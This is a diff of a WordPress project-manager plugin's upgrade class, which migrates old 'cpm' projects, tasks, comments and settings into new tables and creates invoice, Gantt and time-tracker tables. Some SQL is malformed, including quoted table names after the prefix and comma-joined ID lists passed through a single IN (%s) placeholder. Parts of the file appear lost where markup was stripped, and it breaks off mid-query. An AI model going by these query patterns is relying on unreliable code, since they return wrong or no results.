$wpdb->prefix. 'cpm_time_tracker'; - $timetracker = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix} 'cpm_time_tracker' WHERE project_id=%d", $oldProjectId ), ARRAY_A ); - if ( is_wp_error( $timetracker ) ) { - return; - } - $timetrackerTable = $wpdb->prefix . 'pm_time_tracker'; - $now = date( 'Y-m-d', strtotime( current_time('mysql') ) ); - foreach( $timetracker as $time ){ - $wpdb->insert( - $timetrackerTable, - [ - 'user_id' => $time['user_id'], - 'project_id' => $newProjectID, - 'list_id' => $taskList[$time['tasklist_id']], - 'task_id' => $tasks[$time['task_id']], - 'start' => $time['start'], - 'stop' => $time['stop'], - 'total' => $time['total'], - 'run_status' => $time['run_status'] == 'no' ? 0 : 1, - 'created_by' => $time['user_id'], - 'updated_by' => $time['user_id'], - 'created_at' => $now, - 'updated_at' => $now, - ] - ); - } - } - - function add_file( $arr ) { - return $this->save_object( new File, $arr ); - } - - function add_board( $post , $board_type, $newProjectID ) { - $newBoard = $this->save_object( new Board, [ - 'title' => $post['post_title'], - 'description' => $post['post_content'], - 'order' => $post['menu_order'], - 'type' => $board_type, - 'project_id' => $newProjectID, - 'created_by' => $post['post_author'], - 'updated_by' => $post['post_author'], - 'created_at' => $post['post_date'], - 'updated_at' => $post['post_modified'], - ]); - - return $newBoard; - } - - function add_meta( $meta , $object, $newProjectID, $entity_type = null ) { - $meta_ids = []; - foreach ( $meta as $key => $value ) { - if( empty( $value ) ){ - continue ; - } - $metaObj = $this->save_object( new Meta, [ - 'entity_id' => $object->id, - 'entity_type' => $entity_type !== null? $entity_type : $object->type, - 'meta_key' => $key, - 'meta_value' => $value, - 'project_id' => $newProjectID, - 'created_by' => $object->created_by, - 'updated_by' => $object->updated_by, - 'created_at' => $object->created_at, - 'updated_at' => $object->updated_at, - ] ); - - $meta_ids[] = $metaObj->id; - } - - return $meta_ids; - } - - function set_settings() { - $genral = get_option( 'cpm_general', array() ); - $mail = get_option( 'cpm_mails', array() ); - $page = get_option( 'cpm_page', array() ); - $woo_projects = get_option( 'cpmwoo_settings', array() ); - $cpm_integration = get_option( 'cpm_integration', array() ); - $projects = get_option( 'pm_upgrade', array() ); - $invoice = get_option( 'cpm_invoice', array() ); - $newSettings = array(); - $woo_project = array(); - - if ( is_array( $woo_projects ) && !empty( $woo_projects ) ){ - foreach ( $woo_projects as $wp ) { - $role = []; - if ( is_array( $wp['role'] ) && !empty( $wp['role'] ) ) { - foreach ( $wp['role'] as $key => $value ) { - $role[] = [ - 'user_id' => $key, - 'role_id' => $value !== 'co_worker' ? 1 : 2, - ]; - } - } - - $woo_project[] = [ - 'action' => $wp['type'], - 'product_ids' => array($wp['product_id']), - 'project_id' => $projects[$wp['project_id']], - 'assignees' => $role - ]; - } - } - if( isset( $genral['project_manage_role'] ) ) { - $newSettings['managing_capability'] = array_values( $genral['project_manage_role'] ); - } - if( isset( $genral['project_create_role'] ) ) { - $newSettings['project_create_capability'] = array_values( $genral['project_create_role'] ); - } - if( !empty( $woo_project ) ) { - $newSettings['woo_project'] = $woo_project; - } - - if( !empty( $genral ) ){ - $this->set_new_setting( $newSettings, 'upload_limit', $genral, 'upload_limit' ); - $this->set_new_setting( $newSettings, 'project_per_page', $genral, 'pagination' ); - $this->set_new_setting( $newSettings, 'list_per_page', $genral, 'show_todo' ); - $this->set_new_setting( $newSettings, 'list_show', $genral, 'todolist_show' ); - $this->set_new_setting( $newSettings, 'incomplete_tasks_per_page', $genral, 'show_incomplete_tasks' ); - $this->set_new_setting( $newSettings, 'complete_tasks_per_page', $genral, 'show_completed_tasks' ); - $this->set_new_setting( $newSettings, 'task_start_field', $genral, 'task_start_field', 'on' ); - $this->set_new_setting( $newSettings, 'daily_digest', $genral, 'daily_digest', 'on' ); - } - - if ( !empty($mail) ) { - $this->set_new_setting( $newSettings, 'from_email', $mail, 'email_from' ); - $this->set_new_setting( $newSettings, 'link_to_backend', $mail, 'email_url_link', 'backend' ); - $this->set_new_setting( $newSettings, 'email_type', $mail, 'email_type' ); - $this->set_new_setting( $newSettings, 'enable_bcc', $mail, 'email_bcc_enable', 'on' ); - } - - if( !empty( $page ) ) { - update_option( 'pm_pages', $page ); - // $this->set_new_setting( $newSettings, 'project', $page, 'project' ); - // $this->set_new_setting( $newSettings, 'my_task', $page, 'my_task' ); - // $this->set_new_setting( $newSettings, 'calendar', $page, 'calendar' ); - } - - if ( !empty( $cpm_integration ) ) { - $this->set_new_setting( $newSettings, 'after_order_complete', $cpm_integration, 'woo_duplicate', 'paid' ); - } - - if ( !empty( $invoice ) ) { - $this->set_new_setting( $newSettings['invoice'], 'theme_color', $invoice, 'theme_color' ); - $this->set_new_setting( $newSettings['invoice'], 'currency_code', $invoice, 'currency' ); - $this->set_new_setting( $newSettings['invoice'], 'paypal', $invoice, 'payment_gateway', 'paypal' ); - $this->set_new_setting( $newSettings['invoice'], 'paypal_mail', $invoice, 'paypal_email' ); - $this->set_new_setting( $newSettings['invoice'], 'sand_box_mode', $invoice, 'paypal_sand_box', 'on' ); - $this->set_new_setting( $newSettings['invoice'], 'paypal_instruction', $invoice, 'gate_instruct_paypal' ); - $this->set_new_setting( $newSettings['invoice'], 'organization', $invoice, 'organization' ); - $this->set_new_setting( $newSettings['invoice'], 'address_line_1', $invoice, 'address_line_1' ); - $this->set_new_setting( $newSettings['invoice'], 'address_line_2', $invoice, 'address_line_2' ); - $this->set_new_setting( $newSettings['invoice'], 'city', $invoice, 'city' ); - $this->set_new_setting( $newSettings['invoice'], 'sate_province', $invoice, 'state' ); - $this->set_new_setting( $newSettings['invoice'], 'zip_code', $invoice, 'zip' ); - $this->set_new_setting( $newSettings['invoice'], 'country_code', $invoice, 'country' ); - } - - foreach ( $newSettings as $key => $value ) { - $settings = Settings::firstOrCreate([ - 'key' => $key - ]); - $settings->update_model( ['key'=>$key, 'value'=> $value] ); - } - - } - - function set_new_setting( &$settings, $newkey, $oldsettings, $oldkey, $willtrue = null ) { - - if( !isset( $oldsettings[$oldkey] ) || empty( $oldsettings[$oldkey] ) ) { - return ; - } - if( $willtrue != null ) { - $settings[$newkey] = $oldsettings[$oldkey] == $willtrue ? true : false; - } - $settings[$newkey] = $oldsettings[$oldkey]; - } - - function migrate_category() { - global $wpdb; - - $terms = $wpdb->get_results( "SELECT a.term_taxonomy_id, a.taxonomy, a.description, a.term_id, b.name FROM {$wpdb->term_taxonomy} AS a INNER JOIN {$wpdb->terms} AS b ON a.term_id = b.term_id WHERE a.taxonomy = 'cpm_project_category'", ARRAY_A ); - - $categories = []; - - $object = wp_list_pluck($terms, 'term_taxonomy_id' ); - if ( empty( $object ) ) { - return; - } - $object = implode(',', $object); - - $terms_releation = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->term_relationships} WHERE term_taxonomy_id in(%s)", $object ), ARRAY_A ); - - $projects = get_option( "pm_db_migration", [] ); - - - foreach ( $terms as $term ) { - $cat = Category::firstOrCreate( [ - 'title' => $term['name'], - 'description' => $term['description'], - 'categorible_type' => 'project', - ]); - - $pid = []; - array_map( function ( $item ) use ( $term, $projects, &$pid ) { - if($item['term_taxonomy_id'] == $term['term_taxonomy_id'] ) { - if( !empty( $projects[$item['object_id']] ) ) { - $pid[] = $projects[$item['object_id']]; - } - - } - }, $terms_releation); - - if( !empty( $pid ) ) { - $cat->projects()->attach( $pid ); - } - - $categories[$term['term_taxonomy_id']] = $cat->id; - } - return $categories; - } - - /** - * save object from model - * @param object $object new model - * @param array $arr model data - * @return object new model - */ - function save_object( $object, $arr ) { - foreach ($arr as $key => $value) { - $object->{$key} = $value; - } - - $object->unsetEventDispatcher(); - - if( $object->save() ) { - return $object; - } - } - - function create_invoice_table() { - global $wpdb; - $table_name = $wpdb->prefix . 'pm_invoice'; - // `status` tinyint(4) NOT NULL DEFAULT 0 COMMENT '0: Incomplete; 1: Complete; 2: Partial', - // `partial` tinyint(4) NOT NULL DEFAULT 0 COMMENT '1: Partial; 0: Not Partial;', - require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `title` varchar(255) NOT NULL, - `client_id` int(11) UNSIGNED NOT NULL, - `project_id` int(11) UNSIGNED NOT NULL, - `status` tinyint(4) NOT NULL DEFAULT 0, - `start_at` timestamp NULL DEFAULT NULL, - `due_date` timestamp NULL DEFAULT NULL, - `discount` double(8,2) NOT NULL DEFAULT '0.00', - `partial` tinyint(4) NOT NULL DEFAULT 0, - `partial_amount` double(8,2) NOT NULL DEFAULT '0.00', - `terms` text, - `client_note` text, - `items` longtext NOT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `project_id` (`project_id`), - KEY `client_id` (`client_id`) - ) DEFAULT CHARSET=utf8"; - - - dbDelta( $sql ); - } - - function create_gantt_chart_table() { - global $wpdb; - $table_name = $wpdb->prefix . 'pm_gantt_chart_links'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `source` int(11) UNSIGNED NOT NULL, - `target` int(11) UNSIGNED NOT NULL, - `type` int(11) UNSIGNED NOT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`) - ) DEFAULT CHARSET=utf8"; - - require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); - dbDelta( $sql ); - } - - - function create_time_tracker_table() { - global $wpdb; - $table_name = $wpdb->prefix . 'pm_time_tracker'; - - // `run_status` tinyint(4) NOT NULL COMMENT '1: Running; 0: Stop;', - - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `user_id` int(11) UNSIGNED NOT NULL, - `project_id` int(11) UNSIGNED NOT NULL, - `list_id` int(11) UNSIGNED NOT NULL, - `task_id` int(11) UNSIGNED NOT NULL, - `start` int(11) UNSIGNED NOT NULL, - `stop` int(11) UNSIGNED NOT NULL, - `total` int(11) UNSIGNED NOT NULL, - `run_status` tinyint(4) NOT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `task_id` (`task_id`), - KEY `project_id` (`project_id`) - ) DEFAULT CHARSET=utf8"; - - require_once( ABSPATH . 'wp-admin/includes/upgrade.php' ); - dbDelta( $sql ); - } - - function insert_client_role () { - $user = wp_get_current_user(); - $now = date( 'Y-m-d', strtotime( current_time('mysql') ) ); - if ( ! Role::where('slug', 'client')->exists() ) { - Role::insert([ - [ - 'title' => 'Client', - 'slug' => 'client', - 'description' => 'Client is a person who provid the project.', - 'status' => 0, - 'created_by' => $user->ID, - 'updated_by' => $user->ID, - 'created_at' => $now, - 'updated_at' => $now, - ], - ]); - return true; - } - - return true; - } -} +isProcessRuning = true; + $this->upgrade_projects( $item ); + $this->upgrade_observe_migration( [ + 'projects' => true + ] ); + + return false; + } + + /** + * Complete function for WP_Background_Process + * + */ + function complete() { + parent::complete(); + $this->isProcessRuning = false; + $this->migrate_category(); + $this->set_settings(); + + delete_option( 'pm_start_migration' ); + delete_option( 'cpm_db_version' ); + + // upgrade complete function + } + + /** + * Is the updater running? + * @return boolean + */ + public function is_updating() { + return false === $this->is_queue_empty(); + } + + + /** + * Handle cron healthcheck + * + * Restart the background process if not already running + * and data exists in the queue. + */ + public function handle_cron_healthcheck() { + if ( $this->is_process_running() ) { + // Background process already running. + return; + } + + if ( $this->is_queue_empty() ) { + // No data to process. + $this->clear_scheduled_event(); + return; + } + + $this->handle(); + } + + + /** + * Get batch + * + * @return stdClass Return the first batch from the queue + */ + protected function delete_queue_batch() { + global $wpdb; + + $table = $wpdb->options; + $column = 'option_name'; + $key_column = 'option_id'; + $value_column = 'option_value'; + + if ( is_multisite() ) { + $table = $wpdb->sitemeta; + $column = 'meta_key'; + $key_column = 'meta_id'; + $value_column = 'meta_value'; + } + + $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; + + $query = $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->options} WHERE option_name LIKE %s ", $key ) ); + } + + + public function notification() { + + $is_active_notice = get_option('pm_migration_notice'); + + if ( + empty( $is_active_notice ) + || + $is_active_notice == 'complete' + ) { + return; + } + + echo '
'; + $db_observe = get_option( 'pm_observe_migration' ); + + $observe = json_encode( $db_observe ); + $assets_url = config('frontend.assets_url'); + + $result = array_diff( $db_observe['count'], $db_observe['migrate'] ); + + $is_all_migrated = empty( $result ) ? true : false; + + ?> + + + run(); + //create pro table + $this->create_gantt_chart_table(); + $this->create_invoice_table(); + $this->create_time_tracker_table(); + // end + $this->start_update(); + $this->set_count(); + + $this->delete_queue_batch(); + + global $wpdb; + $ids = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_type = %s", 'cpm_project' ), ARRAY_A ); + + if ( is_wp_error( $ids ) ) { + return; + } + + $ids = wp_list_pluck($ids, 'ID'); + + foreach ($ids as $id) { + $id = absint( $id ); + if ( empty( $id ) ) { + continue; + } + $this->push_to_queue( $id ); + } + + $this->save()->dispatch(); + } + + function upgrade_observe_migration( $args ) { + $migration = get_option( 'pm_observe_migration' ); + + if ( !empty( $args['projects'] ) ) { + $migration['migrate']['projects'] = $migration['migrate']['projects'] + 1; + } + + if ( !empty( $args['lists'] ) ) { + $migration['migrate']['lists'] = $migration['migrate']['lists'] + 1; + } + + if ( !empty( $args['tasks'] ) ) { + $migration['migrate']['tasks'] = $migration['migrate']['tasks'] + 1; + } + + if ( !empty( $args['messages'] ) ) { + $migration['migrate']['messages'] = $migration['migrate']['messages'] + 1; + } + + if ( !empty( $args['milestons'] ) ) { + $migration['migrate']['milestons'] = $migration['migrate']['milestons'] + 1; + } + + if ( !empty( $args['comments'] ) ) { + $migration['migrate']['comments'] = $migration['migrate']['comments'] + 1; + } + + update_option( 'pm_observe_migration', $migration ); + } + + public function set_count() { + global $wpdb; + + $has_migration = get_option( 'pm_observe_migration' ); + $start_update = get_option( 'pm_start_migration', false ); + + if ( ! empty( $has_migration ) || ! $start_update ) { + return; + } + // decleat variables; + $total_project = 0; + $total_milestone = 0; + $total_message = 0; + $total_task_list = 0; + $total_task = 0; + $total_comment = 0; + $comments_ids = []; + + $projects = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_type = %s", 'cpm_project' ), ARRAY_A ); + $total_project = $wpdb->num_rows; + + if ( $total_project ) { + $ids = wp_list_pluck( $projects, 'ID' ); + $comments_ids = array_merge( $comments_ids, $ids ); + $ids = implode( ',', $ids ); + + //milestone query + $milestons = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_parent in (%s) AND post_type in ('cpm_milestne', 'cpm_milestone') AND post_status=%s", $ids, 'publish' ), ARRAY_A ); + $total_milestone = $wpdb->num_rows; + + //message query + $message = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_parent in (%s) AND post_type=%s AND post_status=%s", $ids, 'cpm_message', 'publish' ), ARRAY_A ); + $total_message = $wpdb->num_rows; + $comments_ids = array_merge( $comments_ids, wp_list_pluck( $message, 'ID' ) ); + + // tasklist query + $tasklist = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_parent in (%s) AND post_type=%s AND post_status=%s", $ids, 'cpm_task_list', 'publish' ), ARRAY_A ); + $total_task_list = $wpdb->num_rows; + + if ( $total_task_list ) { + $list_ids = wp_list_pluck( $tasklist, 'ID' ); + $comments_ids = array_merge( $comments_ids, $list_ids ); + $list_ids = implode( ',', $list_ids ); + + // task query + $tasks = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_parent in (%s) AND post_type=%s AND post_status=%s", $list_ids, 'cpm_task', 'publish' ), ARRAY_A ); + $total_task = $wpdb->num_rows; + + if ( $total_task ) { + $task_ids = wp_list_pluck( $tasks, 'ID' ); + $comments_ids = array_merge( $comments_ids, $task_ids ); + $task_ids = implode( ',', $task_ids ); + + $tasks = $wpdb->get_results( $wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_parent in (%s) AND post_type=%s AND post_status=%s", $task_ids, 'cpm_sub_task', 'publish' ), ARRAY_A ); + $total_task = $total_task + $wpdb->num_rows; + + } + + } + + } + + if ( ! empty( $comments_ids ) ) { + $comments_ids = implode( ',', $comments_ids ); + $total_comment = $wpdb->get_var( + $wpdb->prepare("SELECT count(comment_ID) FROM {$wpdb->comments} WHERE comment_post_ID IN (%s)", $comments_ids ) + ); + } + + $observe = [ + 'count' => [ + 'projects' => $total_project, + 'lists' => $total_task_list, + 'tasks' => $total_task, + 'messages' => $total_message, + 'milestons' => $total_milestone, + 'comments' => $total_comment + ], + + 'migrate' => [ + 'projects' => 0, + 'lists' => 0, + 'tasks' => 0, + 'messages' => 0, + 'milestons' => 0, + 'comments' => 0 + ] + ]; + + update_option( 'pm_observe_migration', $observe ); + + return $observe; + } + + /** + * start upgrade project + * @param ini $project_id + * @return Object new project model object + */ + public function upgrade_projects( $project_id ) { + + $project_ids = get_option( "pm_db_migration", [] ); + + if ( array_key_exists( $project_id, $project_ids ) ) { + return false; + } + + $project_ids[$project_id] = 0; + update_option("pm_db_migration", $project_ids); + + $project = $this->create_project( $project_id ); + + if ( $project ) { + $project_ids[$project_id] = $project->id; + update_option( "pm_db_migration", $project_ids ); + } + } + + /** + * retrive old project and push into new database + * @param int $project_id + * @return Object new Project model object + */ + function create_project( $project_id ) { + global $wpdb; + if ( !$project_id && !is_int( $project_id ) ) { + return ; + } + + $oldProject = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE ID=%d", $project_id ) ); + + $newProject = $this->save_object( new Project, [ + 'title' => $oldProject->post_title, + 'description' => $oldProject->post_content, + 'status' => get_post_meta($project_id, '_project_active', true) == 'yes' ? 0 : 1, + 'created_by' => $oldProject->post_author, + 'updated_by' => $oldProject->post_author, + 'created_at' => $oldProject->post_date, + 'updated_at' => $oldProject->post_modified, + ] ); + + $this->create_project_role( $project_id, $newProject->id, $oldProject->post_author ); + + $milestons = $this->get_milestones( $project_id, $newProject->id ); + $discuss = $this->get_discuss( $project_id, $newProject->id, $milestons ); + $commnetd = $this->get_comments( $discuss, $newProject->id, 'discussion_board' ); + $taskLists = $this->get_task_list( $project_id, $newProject->id, $milestons ); + $commenttl = $this->get_comments( $taskLists, $newProject->id, 'task_list' ); + list( $tasks, $parents ) = $this->get_tasks( $newProject->id, $taskLists ); + $commnett = $this->get_comments( $tasks, $newProject->id, 'task' ); + + $this->get_activity( $project_id, $newProject->id, $discuss, $taskLists, $tasks, array_merge( (array) $commnetd, (array)$commenttl, (array)$commnett ) ); + + $this->get_file( $project_id, $newProject->id ); + + if( !empty( $parents ) ) { + // for sub task + $this->get_tasks( $newProject->id, $tasks, $taskLists, $parents ); + } + + $this->add_time_tracker( $project_id, $newProject->id, $taskLists, $tasks ); + + $this->set_project_settings( $project_id, $newProject ); + $this->set_bp_group( $project_id, $newProject ); + $this->get_kanboard( $project_id, $newProject, $tasks ); + $this->gantt_upgrate( $taskLists, $tasks, $parents ); + $this->get_invoice( $project_id, $newProject ); + return $newProject; + } + + /** + * create project role + * @param init $oldProjectId + * @param init $newProjectID + * @param init $assigned_by + * @return void + */ + function create_project_role( $oldProjectId, $newProjectID, $assigned_by ){ + if ( !$oldProjectId ){ + return ; + } + global $wpdb; + $table = $wpdb->prefix . 'cpm_user_role'; + $oldroles = $wpdb->get_results( $wpdb->prepare ( "SELECT * FROM {$wpdb->prefix}'cpm_user_role' WHERE project_id=%d", $oldProjectId ), ARRAY_A ); + + if ( is_wp_error( $oldroles ) ) { + return; + } + $role_exit = $this->insert_client_role(); + foreach ( $oldroles as $role ) { + + if ( $role['role'] == 'manager' ){ + $role_id = 1; + } else if ( $role['role'] == 'co_worker' ){ + $role_id = 2; + } else if ( $role['role'] == 'client' ) { + if ( !$role_exit ) { + continue; + } + $role_id = 3; + } + User_Role::firstOrCreate( [ + 'user_id' => $role['user_id'], + 'role_id' => $role_id, + 'project_id' => $newProjectID, + 'assigned_by' => $assigned_by, + ] ); + } + + // Assain project if not any user + if ( empty( $oldroles ) ) { + User_Role::firstOrCreate( [ + 'user_id' => $assigned_by, + 'role_id' => 1, + 'project_id' => $newProjectID, + 'assigned_by' => $assigned_by, + ] ); + } + } + + + function get_milestones( $oldProjectId, $newProjectID ) { + if ( !$oldProjectId ){ + return ; + } + global $wpdb; + + $oldMilestones = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent=%d AND post_type in ('cpm_milestne', 'cpm_milestone') AND post_status=%s", $oldProjectId, 'publish' ), ARRAY_A ); + + $milestons = []; + + foreach ( $oldMilestones as $post ) { + $milestons[$post['ID']] = $this->create_milestone( $post, $newProjectID ); + + $this->upgrade_observe_migration( [ + 'milestons' => true + ] ); + } + + return $milestons; + } + + /** + * create milestone + * @param init $project_id + * @param object $newProject new project Model + * @return arrat old milestone and new milestone + */ + function create_milestone( $milestone, $newProjectID ) { + if( !$milestone ){ + return ; + } + + $newMilestone = $this->add_board( $milestone, 'milestone', $newProjectID ); + $completed_at = get_post_meta( $milestone['ID'], '_completed_on', true ); + $meta = [ + 'achieve_date' => get_post_meta( $milestone['ID'], '_due', true ), + 'status' => get_post_meta( $milestone['ID'], '_completed' , true ) == 1 ? 2 : 1, + ]; + if( !empty( $completed_at ) ) { + $meta['completed_at'] = $completed_at; + } + + $mil_pri = get_post_meta( $milestone['ID'], '_milestone_privac', true ); + if( isset( $mil_pri ) && $mil_pri == 'yes' ){ + $meta['privacy'] = 1; + } + + + if ( $newMilestone->id && isset( $meta ) ) { + $this->add_meta( $meta, $newMilestone, $newProjectID ); + } + + return $newMilestone->id; + } + /** + * get Dsicuss and create from + * @param int $oldProjectId + * @param int $newProjectID + * @param array $milestons + * @return array new and old milestone array + */ + function get_discuss( $oldProjectId, $newProjectID, $milestons ) { + if ( !$oldProjectId ){ + return ; + } + global $wpdb; + + $oldDiscuss = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent=%d AND post_type=%s AND post_status=%s", $oldProjectId, 'cpm_message', 'publish' ), ARRAY_A ); + + $discuss = []; + + foreach ( $oldDiscuss as $post ) { + $discuss[$post['ID']] = $this->create_discuss( $post, $newProjectID, $milestons ); + + $this->upgrade_observe_migration( [ + 'messages' => true + ] ); + } + return $discuss; + } + + /** + * Create disusss from old discuss + */ + function create_discuss( $post, $newProjectID, $milestons ) { + if ( !$post ) { + return ; + } + $newDiscuss = $this->add_board( $post, 'discussion_board', $newProjectID ); + $mid = get_post_meta( $post['ID'], '_milestone', true ); + + if ( $mid && !empty( $milestons ) ) { + $this->save_object( new Boardable, [ + 'board_id' => $milestons[$mid], + 'board_type' => 'milestone', + 'boardable_id' => $newDiscuss->id, + 'boardable_type' => 'discussion_board', + 'order' => $post['menu_order'], + 'created_by' => $post['post_author'], + 'updated_by' => $post['post_author'], + 'created_at' => $post['post_date'], + 'updated_at' => $post['post_modified'], + ] ); + } + + $mag_pri = get_post_meta( $post['ID'], '_message_privacy', true ); + if( isset( $mag_pri ) && $mag_pri == 'yes' ){ + $meta['privacy'] = 1; + } + + if ( isset( $meta ) && !empty( $meta )) { + $this->add_meta( $meta, $newDiscuss, $newProjectID ); + } + + $files = get_post_meta( $post['ID'], '_files', true); + if ( !empty( $files )) { + foreach ( $files as $file ) { + + $this->add_file( [ + 'fileable_id' => $newDiscuss->id, + 'fileable_type' => 'discussion_board', + 'parent' => 0, + 'type' => 'discussion_board', + 'attachment_id' => $file, + 'project_id' => $newDiscuss->project_id, + 'created_by' => $newDiscuss->created_by, + 'updated_by' => $newDiscuss->updated_by, + ] ); + } + } + + return $newDiscuss->id; + } + + /** + * get Task list and create from + * @param int $oldProjectId + * @param int $newProjectID + * @param array $milestons + * @return array new and old milestone array + */ + function get_task_list( $oldProjectId, $newProjectID, $milestons ) { + if ( !$oldProjectId ) { + return ; + } + global $wpdb; + + $oldTaskList = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent=%d AND post_type=%s AND post_status=%s", $oldProjectId, 'cpm_task_list', 'publish' ), ARRAY_A ); + + $taskList = []; + + foreach ( $oldTaskList as $post ) { + $taskList[$post['ID']] = $this->create_task_list( $post, $newProjectID, $milestons ); + + $this->upgrade_observe_migration( [ + 'lists' => true + ] ); + } + return $taskList; + } + + + /** + * Create disusss from old discuss + */ + function create_task_list( $post, $newProjectID, $milestons ) { + if ( !$post ) { + return ; + } + $taskList = $this->add_board( $post, 'task_list', $newProjectID ); + $mid = get_post_meta( $post['ID'], '_milestone', true ); + $mid = intval( $mid ); + if ( !empty( $mid ) && $mid != -1 && !empty( $milestons ) ) { + $this->save_object( new Boardable, [ + 'board_id' => $milestons[$mid], + 'board_type' => 'milestone', + 'boardable_id' => $taskList->id, + 'boardable_type' => 'task_list', + 'order' => $post['menu_order'], + 'created_by' => $post['post_author'], + 'updated_by' => $post['post_author'], + 'created_at' => $post['post_date'], + 'updated_at' => $post['post_modified'], + ] ); + } + $meta = array(); + $list_pri = get_post_meta( $post['ID'], '_tasklist_privacy', true ); + if( isset( $list_pri ) && $list_pri == 'on' ){ + $meta['privacy'] = 1; + } + + if ( !empty( $meta ) ) { + $this->add_meta( $meta, $taskList, $newProjectID ); + } + + return $taskList->id; + } + + function get_tasks( $newProjectID, $listitems, $list = null, $parent = null ) { + if( empty( $listitems ) ) { + return ; + } + global $wpdb; + if( $parent == null ){ + $post_type = 'cpm_task'; + }else{ + $post_type = 'cpm_sub_task'; + } + + $in = implode( ',', array_keys( $listitems )); + $oldTask = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_parent IN (%s) AND post_type=%s AND post_status=%s", $in, $post_type, 'publish' ), ARRAY_A ); + $tasks = []; + $taskParent = []; + + foreach ( $oldTask as $post ) { + $tasks[$post['ID']] = $this->create_task( $post, $newProjectID, $listitems, $list, $parent ); + + + + if ( $post['post_type'] == 'cpm_task' ) { + $taskParent[$post['ID']] = $post['post_parent']; + } + $this->upgrade_observe_migration( [ + 'tasks' => true + ] ); + + } + return array( $tasks, $taskParent ); + } + + function create_task( $post, $newProjectID, $listitems, $list=null, $parent = null ) { + if ( !$post ) { + return ; + } + + $description = ($parent === null) ? $post['post_content'] : ''; + + $newTask = $this->save_object( new Task, [ + 'title' => $post['post_title'], + 'description' => $description, + 'status' => get_post_meta( $post['ID'], '_completed', true), + 'project_id' => $newProjectID, + 'start_at' => get_post_meta( $post['ID'], '_start', true), + 'due_date' => get_post_meta( $post['ID'], '_due', true), + 'parent_id' => $post['post_type'] === 'cpm_task' ? 0: $listitems[$post['post_parent']], + 'completed_by' => get_post_meta($post['ID'], '_completed_by', true), + 'completed_at' => get_post_meta($post['ID'], '_completed_on', true), + 'created_by' => $post['post_author'], + 'updated_by' => $post['post_author'], + 'created_at' => $post['post_date'], + 'updated_at' => $post['post_modified'], + ] ); + + if( !empty( $post['post_parent'] ) ) { + + if( $parent !== null ) { + $board_id = $list[$parent[$post['post_parent']]]; + $boardable_type = 'sub_task'; + }else { + $board_id = $listitems[$post['post_parent']]; + $boardable_type = 'task'; + } + $this->save_object( new Boardable, [ + 'board_id' => $board_id, + 'board_type' => 'task_list', + 'boardable_id' => $newTask->id, + 'boardable_type' => $boardable_type, + 'order' => $post['menu_order'], + 'created_by' => $post['post_author'], + 'updated_by' => $post['post_author'], + 'created_at' => $post['post_date'], + 'updated_at' => $post['post_modified'], + ] ); + } + + if ( $post['post_type'] == 'cpm_task' ){ + $meta = array(); + $task_pri = get_post_meta( $post['ID'], '_task_privacy', true ); + if ( !empty( $task_pri ) && $task_pri == 'yes' ){ + $meta['privacy'] = 1; + } + + if ( $newTask->id && !empty( $meta ) ) { + $this->add_meta( $meta, $newTask, $newProjectID, $boardable_type ); + } + } + $this->add_assignee( $newTask, $post['ID'] ); + + return $newTask->id; + } + + function add_assignee( $task, $post_id ) { + if ( !$post_id ){ + return ; + } + $assignees = get_post_meta( $post_id, '_assigned' ); + + if ( empty( $assignees ) || array_keys( $assignees, '-1' )) { + return ; + } + + foreach ( $assignees as $assignee ) { + + $completd_by = get_post_meta( $post_id, '_completed_by', true ); + $completed_at = null; + if ( !empty( $completd_by ) && $assignee == $completd_by ) { + $completed_at = get_post_meta( $post_id, '_completed_on', true); + $completed_at = !empty( $completed_at ) ? $completed_at: null; + } + $this->save_object( new Assignee, [ + 'task_id' => $task->id, + 'assigned_to' => (int)$assignee, + 'assigned_at' => $task->created_at, + 'completed_at' => $completed_at, + 'created_by' => $task->created_by, + 'updated_by' => $task->updated_by, + 'created_at' => $task->created_at, + 'updated_at' => $task->updated_at, + 'project_id' => $task->project_id, + ] ); + } + } + + function get_comments( $ids, $newProjectID, $commentable_type ) { + + if( empty( $ids ) ){ + return ; + } + global $wpdb; + $in = implode(',', array_keys( $ids ) ); + $OComments = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_post_ID IN(%s)", $in ), 